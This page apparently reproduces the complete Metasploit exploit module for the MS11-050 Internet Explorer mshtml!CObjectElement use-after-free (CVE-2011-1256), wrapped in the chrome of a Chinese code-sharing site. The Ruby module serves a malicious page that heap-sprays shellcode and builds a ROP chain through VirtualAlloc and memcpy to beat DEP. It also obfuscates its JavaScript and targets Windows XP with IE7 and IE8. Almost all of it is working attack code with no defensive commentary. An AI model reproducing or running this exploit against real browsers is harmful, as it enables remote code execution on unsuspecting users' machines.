扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 |
## # $Id: ms11_050_mshtml_cobjectelement.rb 12962 2011-06-17 01:56:20Z swtornio $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :ua_name=> HttpClients::IE, :ua_minver=> "7.0", :ua_maxver=> "8.0", :javascript => true, :os_name=> OperatingSystems::WINDOWS, :vuln_test=> nil, }) def initialize(info={}) super(update_info(info, 'Name' => "MS11-050 IE mshtml!CObjectElement Use After Free", 'Description'=> %q{ This module exploits a use-after-free vulnerability in Internet Explorer. The vulnerability occurs when an invalid <object> tag exists and other elements overlap/cover where the object tag should be when rendered (due to their styles/positioning). The mshtml!CObjectElement is then freed from memory because it is invalid. However, the mshtml!CDisplay object for the page continues to keep a reference to the freed <object> and attempts to call a function on it, leading to the use-after-free. }, 'License'=> MSF_LICENSE, 'Version'=> "$Revision: 12962 $", 'Author' => [ 'd0c_s4vage', ], 'References' => [ ['CVE', '2011-1256'], ['OSVDB', '72948'], ['MSB', 'MS11-050'], ['URL', 'http://d0cs4vage.blogspot.com/2011/06/insecticides-dont-kill-bugs-patch.html'], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'migrate -f', }, 'Payload'=> { 'Space'=> 500, 'BadChars' => "\x00\x09\x0a\x0d'\\", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets'=> [ [ 'Automatic', { } ], # In IE6 the mshtml!CObjectElement size is 0xac [ 'Win XP SP3 Internet Explorer 7', # 7.0.5730.13 { # sizeof(mshtml!CObjectElement) 'FreedObjSize' =>0xb0, 'FakeObjCount' => 0x4000, 'FakeObjCountKeep' => 0x2000, 'ForLoopNumObjects' => 3, 'FreedObjOverwritePointer'=>0x0c0c0c0c, 'FreedObjOffsetAlignSize'=>0, 'ROP' => false, } ], [ 'Win XP SP3 Internet Explorer 8 (no DEP)', # 8.0.6001.18702 { # sizeof(mshtml!CObjectElement) 'FreedObjSize' =>0xe0, # 0xdc rounded up 'FakeObjCount' => 0x8000, 'FakeObjCountKeep' => 0x3000, 'ForLoopNumObjects' => 5, 'FreedObjOverwritePointer'=>0x0c0c0c0c, 'FreedObjOffsetAlignSize'=>0, 'ROP' => false, } ], [ 'Win XP SP3 Internet Explorer 8', { 'FreedObjSize' =>0xe0, # 0xdc rounded up 'FakeObjCount' => 0x8000, 'FakeObjCountKeep' => 0x3000, 'ForLoopNumObjects' => 5, 'FreedObjOverwritePointer'=>0x0c0c0c0c, 'FreedObjOffsetAlignSize'=>2, #'StackPivot'=>0x773E3F18, # xchg eax,esp / ret - comctl32.dll 'StackPivot' => 0x7E45F257, #xchg eax,esp - USER32.dll 'ROP' => true, } ], [ 'Debug Target (Crash)', {} ], ], 'DisclosureDate' => "Jun 16 2011", 'DefaultTarget'=> 0)) end def auto_target(cli, request) agent = request.headers['User-Agent'] if agent =~ /MSIE 8\.0/ mytarget = targets[3] # IE 8 elsif agent =~ /MSIE 7\.0/ mytarget = targets[1] else print_error("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}") end mytarget end # 3/22/2011 # fully patched x32 WinXP SP3, IE 8.0.6001.18702 def winxp_sp3_rva { #"kernel32!VirtualAlloc"=> 0x7c809af1, "kernel32!VirtualAlloc" => 0x7c809ae1, "ntdll!memcpy" => 0x7c901db3, } end def compile_rop(rop_stack) rva = winxp_sp3_rva() num_random = 0 rop_stack.map do |rop_val| case rop_val when String if rop_val == "random" # useful for debugging # num_random += 1 # 0xaabbcc00 + num_random rand(0xffffffff) else raise RuntimeError, "Unable to locate key: #{rop_val.inspect}" unless rva[rop_val] rva[rop_val] end when Integer rop_val else raise RuntimeError, "unknown rop_val: #{rop_val.inspect}, #{rop_val.class}" end end.pack("V*") end def on_request_uri(cli, request) mytarget = target if target.name == 'Automatic' mytarget = auto_target(cli, request) unless mytarget send_not_found(cli) return end end @mytarget = mytarget @debug = true if mytarget == targets[4] return if ((p = regenerate_payload(cli)) == nil) id_name= rand_text_alpha(5) dir_name = rand_text_alpha(3) if @debug data = <<-DATA <html> <body> <script language='javascript'> document.body.innerHTML += "<object align='right' hspace='1000' width='1000'></object>"; document.body.innerHTML += "<a id='#{id_name}' style='bottom:200cm;float:left;padding-left:-1000px;border-width:2000px;text-indent:-1000px' ></a>"; document.body.innerHTML += "AAAAAAA"; document.body.innerHTML += "<strong style='font-size:1000pc;margin:auto -1000cm auto auto;' dir='#{dir_name}'></strong>"; </script> </body> </html> DATA print_status("Triggering #{self.name} vulnerability at #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...") send_response(cli, data, { 'Content-Type' => 'text/html' }) return end raw_shellcode = payload.encoded shellcode = Rex::Text.to_unescape(raw_shellcode, Rex::Arch.endian(mytarget.arch)) spray = nil rop_shellcode_spray = nil obj_overwrite_ptr = [@mytarget['FreedObjOverwritePointer']].pack("V") if @mytarget['ROP'] rop_stack = [] 0x1f.times do |i| rop_stack << "random" end idx = -1 idx += 1 ; rop_stack[idx] = "kernel32!VirtualAlloc" # 1: idx += 1 ; rop_stack[idx] = "ntdll!memcpy"# 2:ret 10 to this after VirtualAlloc idx += 1 ; rop_stack[idx] = 0x7f000000# 1:VirtualAlloc:lpAddress idx += 1 ; rop_stack[idx] = 0x4000# 1:VirtualAlloc:dwSize idx += 1 ; rop_stack[idx] = (0x1000 | 0x2000) # 1:VirtualAlloc:flAllocationType MEM_COMMIT | MEM_RESERVE idx += 1 ; rop_stack[idx] = 0x40# 1:VirtualAlloc:flProtect rwx idx += 1 ; rop_stack[idx] = 0x7f001000# 3:into this after memcpy idx += 1 ; rop_stack[idx] = 0x7f001000# 2:memcpy:dst idx += 1 ; rop_stack[idx] = 0x23000100# 2:memcpy:src idx += 1 ; rop_stack[idx] = 0x2fff# 2:memcpy:size # align the rest of it back = rop_stack.slice!((rop_stack.length-1)-2, rop_stack.length) rop_stack = back + rop_stack rop_stack << @mytarget['StackPivot'] # align the stack for 0c0c0c0c front = rop_stack.slice!(0, 19) rop_stack = rop_stack + front # resolve strings in the rop_stack array (kernel32!VirtualAlloc, random, etc) rop = compile_rop(rop_stack) nops = make_nops(0x1000 - raw_shellcode.length) nops = Rex::Text.to_unescape(nops, Rex::Arch.endian(mytarget.arch)) #spray up to 0x23000000 rop_shellcode_spray = <<-JS var shellcode = unescape("#{shellcode}"); var nops = unescape("#{nops}"); while(nops.length < 0x1000) nops += nops; var shell_heapblock = nops.substring(0, 0x800-shellcode.length) + shellcode; while(shell_heapblock.length < 0x40000) shell_heapblock += shell_heapblock; var shell_finalspray = shell_heapblock.substring(0, (0x20000-6)/2); for(var shell_counter = 0; shell_counter < 0x1000; shell_counter++) { heap_obj.alloc(shell_finalspray); } JS spray = rop shellcode = "" else spray = obj_overwrite_ptr end spray = Rex::Text.to_unescape(spray, Rex::Arch.endian(mytarget.arch)) js = <<-JS heap_obj = new heapLib.ie(0x20000); var heapspray = unescape("#{spray}"); while(heapspray.length < 0x1000) heapspray += heapspray; var shellcode = unescape("#{shellcode}"); var heapblock = heapspray.substring(0, (0x800-shellcode.length)) + shellcode; var offset = #{[targets[1], targets[2]].include?(@mytarget) ? "0x400" : "0"}; var front = heapblock.substring(0, offset); var end = heapblock.substring(offset); heapblock = end + front; while(heapblock.length < 0x20000) heapblock += heapblock; finalspray = heapblock.substring(0, (0x10000-6)/2); for(var counter1 = 0; counter1 < 0x1000; counter1++) { heap_obj.alloc(finalspray); } #{rop_shellcode_spray} var obj_overwrite = unescape("#{Rex::Text.to_unescape(obj_overwrite_ptr, Rex::Arch.endian(mytarget.arch))}"); while(obj_overwrite.length < #{@mytarget['FreedObjSize']}) { obj_overwrite += obj_overwrite; } obj_overwrite = obj_overwrite.slice(0, (#{@mytarget['FreedObjSize']}-6)/2); for(var num_objs_counter = 0; num_objs_counter < #{@mytarget['ForLoopNumObjects']}; num_objs_counter++) { document.body.innerHTML += "<object align='right' hspace='1000' width='1000'>TAG_1</object>"; } for(var counter4 = 0; counter4 < #{@mytarget['FakeObjCountKeep']}; counter4++) { heap_obj.alloc(obj_overwrite, "keepme1"); } for(var counter5 = 0; counter5 < #{@mytarget['FakeObjCountKeep']}; counter5++) { heap_obj.alloc(obj_overwrite, "keepme2"); } document.body.innerHTML += "<a id='tag_3' style='bottom:200cm;float:left;padding-left:-1000px;border-width:2000px;text-indent:-1000px' >TAG_3</a>"; document.body.innerHTML += "AAAA"; document.body.innerHTML += "<strong style='font-size:1000pc;margin:auto -1000cm auto auto;' dir='ltr'>TAG_11</strong>"; JS js = heaplib(js) js = ::Rex::Exploitation::JSObfu.new(js) js.obfuscate html = <<-HTML <html> <body> <script language='javascript'> #{js} </script> </body> </html> HTML print_status("Sending exploit for #{self.name} to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...") send_response(cli, html, {'Content-Type'=>'text/html'}) end end |
体验盒子
